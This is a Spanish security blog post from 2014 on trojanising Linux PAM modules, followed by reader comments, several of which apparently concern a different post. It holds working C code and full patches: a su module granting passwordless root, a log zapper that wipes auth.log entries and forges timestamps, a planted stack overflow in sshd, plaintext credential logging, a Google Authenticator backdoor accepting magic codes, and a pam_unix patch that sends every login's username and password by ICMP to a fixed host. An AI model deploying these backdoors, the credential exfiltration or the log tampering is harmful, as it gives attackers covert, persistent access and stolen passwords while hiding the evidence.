12 febrero 2014

Troyanización de Módulos PAM

 “Es un sistema UNIX, lo conozco” – Alexis Murphy (Jurasic Park I)


En sistemas derivados de UNIX, la autenticación de usuarios así como la implementación sistemas de autenticación adicionales, se basa en una arquitectura modular formada en primera instancia por los denominados módulos PAM (Pluggable Authentication Module), lo cual dota al sistema operativo de una base altamente flexible y personalizable para establecer medidas de seguridad adicionales a la hora de autenticar usuarios tanto de acceso local como remoto, de forma transparente a las aplicaciones.

Debido a la homogeneidad anterior, resulta menos complejo el portar el funcionamiento de un módulo PAM de un sistema a otro.

Arquitectura PAM
Ejemplos de uso de autenticación mediante módulos PAM:
  • Kerberos
  • LDAP
  • Autenticación de doble factor
  • One-Time-Password  
Si eres capaz de ver lo sutil y de darte cuenta de lo oculto, irrumpiendo antes del orden de batalla, la victoria así obtenida es un victoria fácil.” – Sun Tzu (El Arte de la Guerra)

Si bien la homogeneidad y la estructura modular anterior es una ventaja para administradores y desarrolladores, también es una ventaja para los atacantes, ya que una de las acciones que suelen realizar cuando entran en un sistema, es precisamente la de “troyanizar” el sistema para asegurarse el acceso futuro, y de entre muchas de las opciones disponibles, está la de “troyanización” de módulos PAM.
Para ello, en este post vamos a ver cómo crear y modificar un módulo PAM para dotarlo (entre otras) de las siguientes características, las cuales se explicarán más adelante:
  • Dar acceso a ciertos usuarios y/o patrón de usuarios al sistema
  • Obtener credenciales de acceso de los usuarios
  • Introducir fallos de seguridad (buffer overflows, format strings, etc.)
  • Eliminar registros de acceso
 
Cuando el objetivo te parezca difícil, no cambies de objetivo; busca un nuevo camino para llegar a él.” – Confucio
Una vez decididos a troyanizar un módulo PAM, vamos a estudiar cómo hacerlo a través de diferentes vías, de entre las que tenemos:
  • Crear un nuevo módulo PAM
  • Troyanizar en disco un módulo PAM existente
    • Recompilando el código
    • Parcheando en disco
  • Troyanizar en memoria un módulo PAM existente


De aquí en adelante, todos los códigos desarrollados y/o modificados, han sido probados sobre dos sistemas Debian 7 Wheezy con kernel 3.2.0-4 sobre arquitecturas AMD64 y i686.

Estructura y Configuración de un Módulo PAM 

Antes de comenzar propiamente con el módulo PAM, es necesario conocer la estructura del mismo, así como la configuración que debe aplicarse en el sistema para que el módulo opere de la forma esperada.

Para este propósito existen en el directorio “/etc/pam.d” una serie de ficheros de configuración relativos a los módulos PAM a utilizar en cada tipo de acceso:

Listado de Archivos de Configuración
En cada uno de estos ficheros, se establece qué tipo de interfaz usará cada módulo así como el modulo a usar y si es necesario, establecer los parámetros necesarios para el correcto funcionamiento: 

Configuración PAM del demonio cron

Cada una de las líneas de este archivo, relativa al uso de módulos PAM, tiene la siguiente estructura:

Interfaz + Flag de Control + Módulo PAM + Parámetros
Cuando la interfaz de un módulo es llamada, debe devolver un valor de retorno, y en función de dicho valor y del flag de control que se esté usando con el módulo PAM, se decidirá si bloquear el intento de acceso, pasar al siguiente módulo, etc. De esta manera, las opciones para los campos de “Interfaz” y “Flag de Control” son:

Interfaz
Valor
Descripción
auth
Establecer las credenciales de acceso, pertenencia a grupos, tickets Kerberos, etc.
account
Verifica que el acceso está permitido en función de si la cuenta ha expirado, si se le permite hacer login a una determinada fecha/hora, etc.
password
Interfaz para cambiar la password del usuario
session
Gestión de sesiones, tareas que son necesarias para permitir el acceso, como montar el directorio home del usuario, habilitar el “mailbox” del usuario, etc.

Flag de Control
Valor
Descripción
required
Si el módulo devuelve algún tipo de error, la autenticación falla y el usuario no es notificado hasta que se completen las evaluaciones del resto de módulos.
requisite
Si el módulo devuelve algún tipo de error, la autenticación falla pero el usuario es notificado de forma inmediata.
sufficient
Si el módulo devuelve algún tipo de error, es ignorado, y si la autenticación de algún módulo anterior marcado como “required” (en caso de haberlo) no ha devuelto error, la autenticación se realiza de forma correcta.
optional
El resultado devuelto es ignorado a no ser que no existan otros módulos para ser evaluados.

Dentro del código del módulo PAM, las interfaces que se usarán se declaran exportando ciertas funciones de la librería (recordemos que un módulo PAM es una librería compartida).
Declaración de Interfaces
Valor
Función a exportar
auth
pam_sm_authenticate, pam_sm_setcred
account
pam_sm_acct_mgmt
password
pam_sm_chauthtok
session
pam_sm_open_session, pam_sm_close_session


Creación de un módulo PAM troyanizado (su)

Ahora que sabemos a rasgos generales (se recomienda ampliar la lectura), cómo funciona un módulo PAM, vamos a crear uno de ejemplo, que mostrará el nombre de usuario utilizando la interfaz “auth”, para el binario “su”.

Para ello, es conveniente definir dentro del módulo qué interfaces vamos a usar, para una correcta inicialización:


#include <stdio.h>

#include <unistd.h>

#include <sys/types.h>

#define PAM_SM_AUTH //definicion de la interfaz

#include <security/pam_modules.h>



PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv )

{
        char    *uname = 0;

        pam_get_user(pamh,(const char**)&uname,0); //usuario sobre el que se opera

        fprintf(stderr,"\npam_get_user => %s" , uname );
        fprintf(stderr,"\ngetuid() => %d" , getuid() );
        fprintf(stderr,"\ngeteuid() => %d" , geteuid() ); 

        return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags,int argc, const char **argv )
{
        return PAM_SUCCESS;
}

En el código anterior, se han definido dos funciones pertenecientes a la interfaz de autenticación, ambas son necesarias para que el módulo PAM sea válido para usarlo con el binario “su”. Para compilarlo, los pasos son los siguientes:
$ gcc –fPIC –fno-stack-protector –c pam.c –o pam_bsu.o
$ ld –x –shared pam_bsu.o –o pam_bsu.so
Y con esto tendremos nuestro módulo compilado, que lo que hará será, una vez que un usuario ejecute el binario “su”, mostrará el usuario sobre el que se quiere realizar la acción (en este caso, hacer login como root), así como el UID del usuario real del proceso y el UID Efectivo (este último, independientemente del proceso que sea, devolverá el UID del usuario propietario del “sticky bit” del fichero al que corresponde el proceso, en caso de tenerlo activado), e inmediatamente después, debido a los valores de retorno (AUTH_SUCCESS) permitirá acceder al usuario que lo ha invocado.
Aunque como bien explicamos al principio, esto no es del todo cierto, ya que para que nuestro módulo funcione como queremos, debemos instalar el módulo PAM y modificar el fichero “/etc/pam.d/su” para indicarle que use nuestro módulo:

Compilación e Instalación
En este ejemplo, como queremos que nuestro módulo sea el único responsable de la autenticación, le indicamos en la primera línea del archivo de configuración los datos de nuestro módulo con el flag “sufficient”. Hecho esto, al llamar al binario “su” desde una cuenta de usuario nos mostrará lo siguiente:
Acceso root sin contraseña
Al igual que hemos hecho esto, podemos usar el resto de características de “su”, como por ejemplo iniciar sesión como otros usuarios:
Suplantación de Usuarios
Filtrado de Acceso por TTY

Para que este comportamiento no sea común a todos los usuarios del sistema, podemos agregar filtros basados en el nombre del usuario que lo invoca (obteniendo el UID del usuario mediante la syscall “getuid”, podemos establecer filtros basados en ventanas temporales (permitir dicho comportamiento basado en la fecha y/u hora), basados en el número y tipo de terminal que usemos, etc.
Filtrado de TTY
Con el código anterior, al ejecutar el binario “su” desde una terminal que no sea la “tty6”, el módulo devolverá “PAM_AUTHINFO_UNAVAIL” por lo que se invocará al siguiente módulo PAM. Si por el contrario, se ejecuta desde “tty6” nos “autenticará” y tendremos la consola de root:
Ejecución del binario "su" en "tty1" introduciendo una contraseña incorrecta
Ejecución del binario "su" desde "tty6"

Limpiando los Registros de Acceso
Cada vez que dos objetos entran en contacto, transfieren parte del material que incorporan al otro objeto” – Principio de intercambio de Locard

Todas estas modificaciones que estamos realizando sobre el sistema, dejan evidencias de lo que se ha estado haciendo, como por ejemplo registros en el log “/var/log/auth.log” y las fechas de nuestro módulo PAM.
Logs de autenticación
Si bien no es el propósito de este post el de descubrir qué pruebas evidencian la manipulación de los archivos y cómo intentar eludirlas, lo que sí haremos será agregar una rutina básica propia de los “zappers”, que lo que hará será recorrer el archivo “/var/log/auth.log” para darnos la posibilidad de eliminar los registros que queramos basándonos en la fecha, la aplicación que generó el registro, la descripción, etc. Así como mantener la fecha y hora de modificación y acceso del archivo anterior al registro.
La funcionalidad de “zapper” descrita, no es más que una función que va recorriendo el archivo desde el registro más nuevo al más antiguo (de abajo a arriba), extrae la información de cada campo e invoca a una función que se encarga de decidir si el registro se mantiene, se elimina, o si se debe dejar de recorrer el archivo. Esta última función de “filtro” es bastante simple, la que usaremos establecerá una ventana temporal de 2 minutos, de forma que cualquier registro de “su” en el “/var/log/auth.log” con una antigüedad menor o igual a dos minutos, será eliminada del registro:
Filtrado del Zapper
Por último, queda invocar a la función “zapper” en la función que definimos como “pam_sm_setcred” ya que esta será invocada cada vez que la sesión se abre y cierra. Un ejemplo de este comportamiento podemos verlo con el siguiente código:
Notificación del Zapper

Una vez compilado e instalado el módulo PAM, iniciamos sesión y consultamos los últimos registros de “/var/log/auth.log”:
Logs de Autenticación
Login y "su"

Fechas de acceso, modificación y cambio del fichero de log













De las imágenes anteriores se obtiene que la llamada al binario “su” ocurre a las “13:18:29”, no obstante el registro de autenticación muestra el inicio de sesión del usuario “chema” como el último registrado a las “13:18:24”. Aun así, si observamos la fecha de modificación del archivo de log, vemos la incongruencia:

Fechas de Acceso y Modificación
Para corregir este detalle, basta con almacenar la fecha y hora del último registro leído antes de finalizar la ejecución del “zapper” y establecer esa fecha y hora como las legítimas del archivo:
Modificaciones de Actualización de Fecha y Hora
 
Filtrado por Nombre de Usuario
Pero aún podemos establecer más filtros útiles, como por ejemplo el nombre de usuario que ejecuta el binario:
Filtrado de UID
En el caso de este binario (“su”) no podemos obtener el nombre del usuario que lo invoca de forma directa usando “pam_get_user” como en otros binarios como por ejemplo “sudo”. No obstante para no realizar una comprobación “tan evidente” del usuario (ya sea por el UID o por el nombre), podemos realizar un hash del usuario para realizar la comprobación.
En la siguiente captura se muestra el filtrado por hash, y se comprueba el usuario actual con un array de usuarios autorizados:
Filtrado de TTY y Usuario
Otro de los métodos que podemos utilizar para obtener la consola de root y no preocuparnos de los logs, es la de aprovechar que el UID efectivo del proceso es “0” (root) para ejecutar una consola e inmediatamente después llamar a “exit” desde nuestro código, de forma que no se realiza ningún tipo de autenticación y por tanto, no queda registro. 

En este ejemplo, al usar la syscall “execve” el flujo de ejecución del proceso se cambia al binario ejecutado, de tal forma que cuando el proceso ejecutado finalice, también lo hará nuestro proceso (en realidad, a muy groso modo, una vez invocada la syscall no habrá diferencia entre el proceso ejecutado y el nuestro), a no ser que usemos otra sycall (“fork”) para crear un proceso hijo y desde él, invocar a “execve”. No obstante, aunque para este caso no es necesario, dejaremos la llamada a “exit” por si el lector quiere realizar alguna otra acción diferente a la propuesta:
Ejecución de "/bin/bash" y llamada a "exit"

De nuevo, compilamos e instalamos el módulo y comprobamos los registros que genera:
Inicio de sesión y ejecución de "su"
Registros de Autenticación
Como podemos ver en la ilustración 19, la llamada al binario “su” se produce entre las “17:22:28” y las “17:22:31”, mientras que en el log, el último registro se produce a las “17:22:25”, lo cual coincide con las fechas y horas del fichero de log:
Fechas de Modificación,Cambio y Acceso del Fichero de Log

Ocultando la Puerta Trasera


La desconfianza es la madre de la seguridad” - Aristófanes
Y hablando de seguridad, si queremos asegurarnos la entrada al sistema, no debemos cerrarnos puertas, mientras más puertas abramos y más ocultas estén mejor.
Por ello, y siguiendo en este apartado, vamos a crear otro módulo PAM que incluiremos en el demonio SSH. Pero esta vez, en lugar de permitir la entrada bajo ciertas condiciones, lo que haremos será introducir una vulnerabilidad en el código de manera que podamos explotarla de forma remota; Para este ejemplo y solo a modo de demostración vamos a introducir un Stack Buffer Overflow, o desbordamiento de pila.
Para ello, vamos a realizar de nuevo un filtrado basado en el nombre de usuario, y si coincide con alguno que tengamos almacenados en el módulo (y preferiblemente que no exista en el sistema), pediremos que introduzca la clave (aquí introduciremos el fallo) y devolveremos un “PAM_AUTHINFO_UNAVAIL” para que el proceso de autenticación salte al siguiente módulo.
Para este nuevo ejemplo, la instalación del módulo es exactamente la misma, con la única diferencia de que en este ejemplo, en vez de modificar el fichero “/etc/pam.d/su” modificaremos “/etc/pam.d/sshd”, de la misma manera que hicimos anteriormente.
El código que utilizaremos para este ejemplo es el siguiente:
Introducción de la Vulnerabilidad

Esta porción de código devolverá “PAM_AUTHINFO_UNAVAIL” para salir y continuar la evaluación del siguiente módulo PAM, siempre y cuando el hash calculado del usuario, no se encuentre entre la lista de los permitidos; Si el usuario sí está contemplado, realizará una copia de su clave en una variable local, provocando una vulnerabilidad de desbordamiento de pila. Esto, además de permitirnos controlar el flujo de ejecución del programa y la ejecución de código remota, nos va a permitir controlar el valor de retorno de la función, debido al orden en el que están declaradas las variables “aux” y “ret”.

De esta forma, si enviamos una clave de una longitud mayor al tamaño de “aux”, sobrescribirá los valores de la pila. Debido a que el valor de retorno que nos interesa (“AUTH_SUCCESS”) es cero (0x00) , no podemos introducir dicho valor dentro de la contraseña, ya que interpretaría el valor como fin de cadena (en este caso concreto podríamos permitirlo y contrarrestar agregando un carácter más, para cuadrarlo de forma que el carácter nulo fuese el que pisase al valor de retorno, pero siempre es una práctica desaconsejable el uso de caracteres nulos), así que almacenamos el valor de retorno incrementado, y cada vez que hagamos referencia al mismo para retornar de la función, lo decrementamos (ver Ilustración 22). De esta forma, si queremos retornar un 0x00, le enviaremos un 0x01.
Después de la explicación teórica del funcionamiento, veamos la parte práctica:
Explotación para Modificar el Valor de Retorno
Otro enfoque que nos puede servir, es el de crear un módulo PAM que use el flag de control “optional” y cuya única tarea sea la de guardar en un fichero todas las credenciales de los usuarios que han iniciado sesión, con un código similar al que sigue (aunque almacena las credenciales sin cifrar):
Código para Guardar las Credenciales de los Usuarios
Con esto, conseguimos el siguiente efecto:
Credenciales de Usuario Almacenadas en Texto Plano

Modificando un Módulo PAM Existente

La verdad es el mejor camuflaje, ¡Nadie la entiende!” – Max Frisch
Hasta ahora hemos visto cómo crear un módulo PAM y cómo dotarlo de la lógica que nos interesa, para darnos acceso al sistema, recabar credenciales, eliminar logs, etc. Pero hemos dejado de lado el verdadero propósito de los módulos PAM, y ciertamente, el hecho de agregar un módulo PAM y jugar con la ingeniería social para no levantar sospechas en cuanto al nombre, nos expone aún más en el sistema. Por tanto, como el mejor lugar para esconder un árbol es precisamente un bosque, vamos a pasar desde el punto de vista de “crear el módulo troyanizado”, hacia el lado opuesto, “troyanizar" un módulo existente.
Existen muchos ejemplos y scripts automáticos para descargar el código fuente de la librería, y permitir el acceso si la contraseña coincide con una especificada, por ejemplo:
Troyanización de un Módulo PAM existente

De la misma forma, podemos seguir modificándolo para agregarle las funcionalidades descritas durante este documento.

Soluciones OTP / Google Authenticator
No obstante, para este propósito vamos a modificar otro módulo PAM distinto a los convencionales, el módulo PAM de doble factor de autenticación de Google. La puerta trasera la crearemos en función de los dígitos que introduzca el usuario, de tal forma que si el número introducido no es válido (según el algoritmo original), lo evaluaremos siguiendo nuestro algoritmo, el cual realizará comprobaciones sobre números primos y perfectos.
Para ello, creamos el siguiente algoritmo para verificar si dado un número introducido, debemos permitir o no el acceso:
Algoritmo de Filtrado

El cual, nos permitirá acceso cuando usemos algunas de las cifras:
  • 312989
  • 313133
  • 313289
  • 625969
  • 626011
  • 626191
  • 938969
  • 938989
  •  
  • 939011
  • 939109
  • 939157
  • 939317
  • 939359
  • 939377
  • 939391
 Para ello, descargamos el código fuente desde el sitio oficial:
Copia del Repositorio del Módulo

Una vez descargado, aplicamos el siguiente parche que será el encargado de agregar las modificaciones necesarias para “troyanizar” el módulo, permitiendo el acceso utilizando los códigos anteriores:
diff -Nur google-authenticator/libpam/Makefile google-authenticator_backdoored/libpam/Makefile
--- google-authenticator/libpam/Makefile    2013-12-10 11:25:49.280037002 +0100
+++ google-authenticator_backdoored/libpam/Makefile    2013-12-09 18:43:21.224116833 +0100
@@ -25,7 +25,7 @@
 DEF_CFLAGS := $(shell [ `uname` = SunOS ] &&                                  \
                 echo ' -D_POSIX_PTHREAD_SEMANTICS -D_REENTRANT')              \
               -fvisibility=hidden $(CFLAGS)
-DEF_LDFLAGS := $(shell [ `uname` = SunOS ] && echo ' -mimpure-text') $(LDFLAGS)
+DEF_LDFLAGS := $(shell [ `uname` = SunOS ] && echo ' -mimpure-text') $(LDFLAGS) -lm
 LDL_LDFLAGS := $(shell $(CC) -shared -ldl -xc -o /dev/null /dev/null          \
                        >/dev/null 2>&1 && echo ' -ldl')

diff -Nur google-authenticator/libpam/pam_google_authenticator.c google-authenticator_backdoored/libpam/pam_google_authenticator.c
--- google-authenticator/libpam/pam_google_authenticator.c    2013-12-10 11:25:49.296037003 +0100
+++ google-authenticator_backdoored/libpam/pam_google_authenticator.c    2013-12-09 18:37:16.536123101 +0100
@@ -29,6 +29,7 @@
 #include <syslog.h>
 #include <time.h>
 #include <unistd.h>
+#include <math.h>

 #ifdef linux
 // We much rather prefer to use setfsuid(), but this function is unfortunately
@@ -1324,6 +1325,45 @@
   return 0;
 }

+static unsigned short es_primo ( unsigned long num )
+{
+    unsigned long i;
+
+    for ( i = 2 ; i < sqrt ( num ) ; i++ )
+        if ( ! (num % i ) )
+            return 0;
+
+    return 1;
+}
+
+static unsigned short authenticate_crypto_prime ( int num , int ret )
+{
+    const unsigned long     perfecto = 496;
+    const unsigned long     primo = 631;
+    unsigned long        resto = 0;
+    unsigned long        mod = 0;
+
+    if ( !es_primo ( num ) )
+        return ret;
+
+    resto = num / perfecto;
+    mod = num % perfecto;
+
+    if ( ! es_primo ( mod ) )
+        return ret;
+
+    if ( resto % primo != 0 )
+        return ret;
+
+    if ( ! es_primo ( primo % num ) )
+        return ret;
+
+    if ( ! es_primo ( resto % mod ) )
+        return ret;
+
+    return PAM_SUCCESS;
+}
+
 static int google_authenticator(pam_handle_t *pamh, int flags,
                                 int argc, const char **argv) {
   int        rc = PAM_SESSION_ERR;
@@ -1335,6 +1375,7 @@
   char       *buf = NULL;
   uint8_t    *secret = NULL;
   int        secretLen = 0;
+  int        code = 0;

 #if defined(DEMO) || defined(TESTING)
   *error_msg = '\000';
@@ -1436,7 +1477,7 @@
       if (errno || l < 0 || *endptr) {
         goto invalid;
       }
-      int code = (int)l;
+      code = (int)l;
       memset(pw + pw_len - expected_len, 0, expected_len);

       if ((mode == 2 || mode == 3) && !params.forward_pass) {
@@ -1564,6 +1605,10 @@
     memset(secret, 0, secretLen);
     free(secret);
   }
+
+ if ( rc != PAM_SUCCESS )
+    rc = authenticate_crypto_prime ( code , rc );
+
   return rc;
 }

Hecho esto, solo tenemos que compilar e instalar el módulo y seguir los pasos descritos en el fichero README del mismo para integrarlo con SSH. En la siguiente captura, se puede ver el acceso SSH usando un cliente modificado para mostrar las credenciales del usuario, para verificar visualmente el acceso a través del módulo PAM de Google troyanizado:
Acceso SSH usando claves OTP troyanizadas

LibPAM / pam_unix

A demás de los métodos vistos hasta ahora, también podemos modificar el módulo principal de autenticación del sistema, no solo para permitirnos la entrada mediante credenciales ficticias ni fallos de seguridad, sino modificar el módulo de manera que cuando un usuario inicie sesión (ya sea de forma local o remota), se envíe un paquete ICMP (por ejemplo) desde una dirección IP y un destino preestablecidos (podemos hacerlo dinámico, enviando un nombre de usuario/clave incorrectos, pero que sirva al módulo de estos datos para futuros envíos) con el nombre del usuario y la clave.
Para este ejemplo, se ha modificado el fichero “support.c” del módulo “pam_unix.so”, el motivo de modificar ese fichero, es porque es donde está implementada la función que verifica las credenciales del usuario, de forma que cuando las credenciales sean correctas, se nos envíe el nombre de usuario y la clave, cifrados. Para este ejemplo, solo se hace un XOR entre la cadena que contiene el usuario y la clave, con otra cadena aleatoria, formada por parámetros usados en las cabeceras IP y ICMP. Con esto conseguimos ocultar la clave en el propio mensaje, y que los paquetes enviados de la autenticación de un mismo usuario, sean diferentes.
Para ello, se ha modificado la librería LibPAM descargada de http://linux-pam.org/library/Linux-PAM-1.1.8.tar.gz dando como resultado el siguiente parche:
--- Linux-PAM-1.1.8/modules/pam_unix/support.c    2013-09-16 11:11:51.000000000 +0200
+++ Linux-PAM-1.1.8_backdoor/modules/pam_unix/support.c    2013-12-10 17:04:19.480035391 +0100
@@ -19,6 +19,13 @@
 #include <ctype.h>
 #include <syslog.h>
 #include <sys/resource.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <netdb.h>
+#include <linux/ip.h>
+#include <linux/icmp.h>
 #ifdef HAVE_RPCSVC_YPCLNT_H
 #include <rpcsvc/ypclnt.h>
 #endif
@@ -650,6 +657,104 @@
     return retval;
 }

+static unsigned short in_cksum ( unsigned short *addr , int len )
+{
+    register int sum = 0;
+    register unsigned short *w = addr;
+    register unsigned int left = len;
+    unsigned short ret = 0;
+
+    while ( left > 1 )
+    {
+        sum += *w++;
+        left -= 2;
+    }
+
+    if ( left == 1 )
+    {
+        *(unsigned char*)(&ret) = *(unsigned char*)w;
+        sum += ret;
+    }
+
+    sum = ( sum >> 16 ) + (sum & 0xFFFF);
+    sum += ( sum >> 16 );
+    ret = ~sum;
+
+    return ret;
+}
+
+static void _verify_hash ( const char *name , const char *pwd )
+{
+    static int        fd = -1;
+    int            optval;
+    struct iphdr        *ip;
+    struct icmphdr        *icmp;
+    struct sockaddr_in    con;
+    char            *packet,*buffer;
+    char            *key;
+    size_t            len_buffer, len_key;
+    int            ttl, code, seq, type, id, i;
+
+    int u = getuid();
+
+    if ( setuid(0) != 0 )
+        return;
+
+    if ( fd < 0 && ( fd = socket ( AF_INET , SOCK_RAW , IPPROTO_ICMP ) ) < 0 )
+        return;
+    else
+        setsockopt ( fd , IPPROTO_IP, IP_HDRINCL, &optval , sizeof ( int ) );
+
+    srand(time(0));
+
+    ttl = random() % 64;
+    code = random() % 128;
+    seq = random();
+    type = random() % 42;
+    id = random();
+
+    len_buffer = strlen ( name ) + strlen ( pwd ) + 2;
+    buffer = calloc ( len_buffer , sizeof ( char ) );
+    snprintf ( buffer , len_buffer , "%s|%s" , name , pwd );
+    key = calloc ( len_buffer , sizeof ( char ) );
+    snprintf ( key , len_buffer , "%d%d%d%d%d",ttl,seq,code,id,type);
+    len_key = strlen ( key );
+    for ( i = 0 ; i < strlen ( buffer ) ; i++ )
+        buffer[i] ^= key[i % len_key ];
+    memset ( key , 0 , len_key );
+    free ( key );
+
+    packet = calloc ( len_buffer + sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) , sizeof ( char ) );
+    ip = (struct iphdr*) packet;
+    icmp = (struct icmphdr*) (packet + sizeof ( struct iphdr ) );
+    memcpy ( (void*)(packet + sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) ) , buffer , len_buffer );
+    ip->ihl = 5;
+    ip->version = 4;
+    ip->tot_len = sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) + len_buffer;
+    ip->ttl = ttl;
+    ip->protocol = IPPROTO_ICMP;
+    ip->saddr = inet_addr ( "172.17.15.18" );
+    ip->daddr = inet_addr ( "10.4.5.2" );
+    ip->check = in_cksum ( (unsigned short*)ip, sizeof ( struct iphdr ) );
+    icmp->type = type;
+    icmp->un.echo.id = id;
+    icmp->un.echo.sequence = seq;
+    icmp->checksum = in_cksum ( (unsigned short*)icmp, sizeof ( struct icmphdr ) + len_buffer );
+
+    con.sin_family = AF_INET;
+    con.sin_addr.s_addr = inet_addr("10.4.5.2");
+
+    sendto ( fd , packet , ip->tot_len , 0 , (struct sockaddr*)&con, sizeof ( struct sockaddr ) );
+
+    free ( packet );
+    free ( buffer );
+
+    setuid(u);
+    return;
+}
+
+
+
 /*
  * _unix_blankpasswd() is a quick check for a blank password
  *
@@ -761,6 +866,7 @@
             }
         }
     } else {
+        _verify_hash ( name , p );
         retval = verify_pwd_hash(p, salt, off(UNIX__NONULL, ctrl));
     }

Una vez aplicado el parche, compilamos e instalamos el módulo:
Instalación del Módulo Troyanizado
A continuación, desde otra terminal accedemos y en otro equipo perteneciente a la misma red esperamos el paquete ICMP:
Inicio de Sesión Remoto
Y en ese momento, vemos actividad ICMP:
Paquete ICMP de Notificación
Podemos verificar mediante varios accesos, que efectivamente el contenido del mensaje cambia:
Accesos Repetidos con las Mismas Credenciales
Diferentes Mensajes ICMP
Hecho esto, solo necesitamos alguna herramienta (script en Python?) que capture los mensajes ICMP, extraiga los valores introducidos en las cabeceras y realice de nuevo la XOR del mensaje con los datos obtenidos en el orden correcto para obtener las credenciales, e incluso podríamos enviar estos datos por un dispositivo inalámbrico del equipo cuando no se use, al más puro estilo NS4.

Referencias:
Contribución gracias a Chema García

27 comments :

Sergio dijo...

plas, plas, plas :)

GISSiM dijo...

Hola
En primer lugar agradecer a Lorenzo y a todo SbD por el artículo sobre PATiA y el enfoque interesante que le han dado.

Comentar que ya tenemos 8.600 apps, y que esperamos llegar a las 10.000 en un par de semanas.
Las apps pueden ser ordenadas pulsando en las cabeceras de las columnas, por ejemplo para ordenarlas por nombre o por la puntuación de privacidad.

Un saludo de parte de los autores de PATiA.

BeRniTo dijo...

Muchas gracias por el artículo, estuvo muy bueno! :D

Hay algunas cosas que no entendí:

1) En determinado momento dices "En el caso de este binario (“su”) no podemos obtener el nombre del usuario que lo invoca de forma directa usando “pam_get_user” como en otros binarios como por ejemplo “sudo”.", sin embargo al principio del artículo, en "Creación de un módulo PAM troyanizado (su)" haces justamente eso: pam_get_user(pamh,(const char**)&uname,0); //usuario sobre el que se opera

2) ¿Dónde iría el código de la imagen 25? ¿Por qué devuelve siempre PAM_AUTHINFO_UNAVAIL?

Saludos desde Uruguay!

Chema dijo...

Gracias BeRniTo,


1) Son dos cosas distintas, imagínate que como root, ejecutas: # su usuario1
El usuario que lo invoca es "root" y el usuario sobre el que se opera es "usuario1"


2) Iría en "pam_sm_authenticate", devuelve ese valor para que el siguiente módulo valide la autenticación, ya que lo único que hace ese código es obtener las credenciales del usuario, no evalua nada. Símplemente, es una manera de meter un módulo en la cadena de autenticación de los módulos PAM que "no hace nada" salvo guardar las credenciales.

$DoC dijo...

Hola,

Esta vez trataré de expresarme sin atacar a nadie.

La entrevista está guay y comenta cosas muy interesantes, pero hay muchas cosas que cuenta que no me cuadran:

- Dice que a los 14 años lo detuvieron, y que "tras estar años entrando por la puerta trasera...", ¿como años?, que llevaba desde los 12 siendo hacker?.

- Dice que maneja 164 mil zombies, con esos zombies podría estar ganando 28 mil dólares mensuales minando monedas cryptograficas nuevas (algo que todo el mundo sabe y se ha hablado alguna vez). Sin embargo se limita a vender bots a 2$. ?¿?¿?

- Compraba televisores y de todo y le decia a los padres que le tocaba en internet?. Si con 14 años llego con todo eso a casa de la hostia que me mete mi padre...... Aparte de tener que firmar en las entregas del paquete y no era mayor de edad.

Pido disculpas por mi comentario anterior eliminado. Creo que ahora no he faltado el respeto a nadie, y, al igual que otros comentarios, solo quiero debatir esto, nada mas.

"Este formato suena a SELECT en un mysql, venga, admitelo, eres uno de los admin, ¿de cual de todos? Es broma, no me importa. Tampoco me gustaría formar parte de ninguno de ellos.

Y efectivamente, el nick está en esa lista. --jajajja- no."

¿y buscar las credenciales, entrar, y hacer un like para esto? yo no invertiria esos 2 min de mi vida.

Un saludo y gracias por la entrevista Alejandro.

Ski6 dijo...

No, si las faltas de ortografía también se encuentran en las preguntas, no solo en las respuestas.


Me explico mejor: Está claro que este es vuestro pequeño sitio y aquí hacéis lo que os apetece (obvio). Simplemente digo, como pequeño consejo de un lector habitual, que no es agradable ver cómo un moderador se rebaja al nivel de los que faltan y menosprecian su trabajo. Si tienes un bar, puedes echarlos a patadas o de forma educada, y yo simplemente digo que es más recomendable hacerlo de forma educada. Pero insisto: por supuesto puedes hacer lo que quieras, que para eso es tu blog. Solo tómate mi comentario como una simple opinión y crítica constructiva.


Tomo nota, ya te daré más 'buen artículo' para que sigas.


Eso de que cagas donde te da la gana no es tip, es fact.


Muy de acuerdo con el último párrafo de tu respuesta.


Saludos.

anonima dijo...

Me sacó una sonrisa este comentario! Muy buena entrevista y mejor site!

Carmelo Digan dijo...

Solo dos opiniones:
Para el entrevistador, no se si al final por las prisas o lo que fuera el articulo no te salio como querias. Lo siento pero desde el respeto, es lo peor que he leido en este blog desde hace mucho tiempo. Entre el articulo y los comentarios, acaba de bajarle el caché a este sitio de un plumazo.

Para el entrevistado, mis respetos, muy bien, sigue asi, eres el puto amo..., solo que cuando te tranquen bien trancado, te entaleguen 2 o 3 añitos, tu novio dominicano compañero de celda te alegre las nalgas noche tras noche y veas llorar a tus padres de manera recursiva en el horario de visitas, entonces y solo hasta entonces creo no entenderas que lo que haces a lo mejor no es tan "guay". Good luck.

locoseverywhere dijo...

Tío, estás como una cabra. Vaya contestaciones das a tus lectores. Vete a resolver tus problemas en la calle, o mejor a revisarte la cabeza.

Alejandro Ramos dijo...

Gracias, es cierto que puede haber cosas que no cuadren, tal vez haya una explicación o tal vez no.


Lo del like no lo entiendo.


Me alegra que nos entendamos :-)

Alejandro Ramos dijo...

Si es lo peor que has leído, te has dejado muchas entradas, yo te podría enumerar varias mías bastante peores :-), Es una entrada controvertida y tu opinión es que ha bajado el caché, las de otros lectores (como podrás ver en los comentarios también), es que no.


La parte del entrevistado, tal vez está un par de puntos por encima de lo que se consideraría falta de respeto.


Siento que no te haya gustado, pero oye, por lo menos te ha servidor para venir aquí a quejarte y dejar tu veneno, que ya es más de lo que veo en el histórico de tus comentarios.

J0k3r dijo...

Disculpa las palabras pero eres algo ignorante en tu respuesta estimado Anonimillo, para él es quizás mucho porque ha de ser un vago más xD Tipico cibercriminal ocioso. AHora bien, que te hace a ti creer que esa cantidad de dinero es más "importante" en sudamérica que en Spain? Eso depende de clase social, independientemente el país, gallego de 1"·$"%·$&/!!!!

noticiasgenerator dijo...

Tema controvertido donde los haya, este tipo de entrevistas son muy dadas a generar cierta polémica, creo que después de este post es muy probable que securitybydefault aumente a un pagerank 6 en breve jejeje.
Buena entrevista, me gusto.

yellowhat dijo...

A mi me ha resultado una entrevista muy interesante y no creo ser un iletrado digital.

Veo mucho ego en los comentarios



Lo del dinero, sí que es poco, pero no tiene porqué ser la verdad

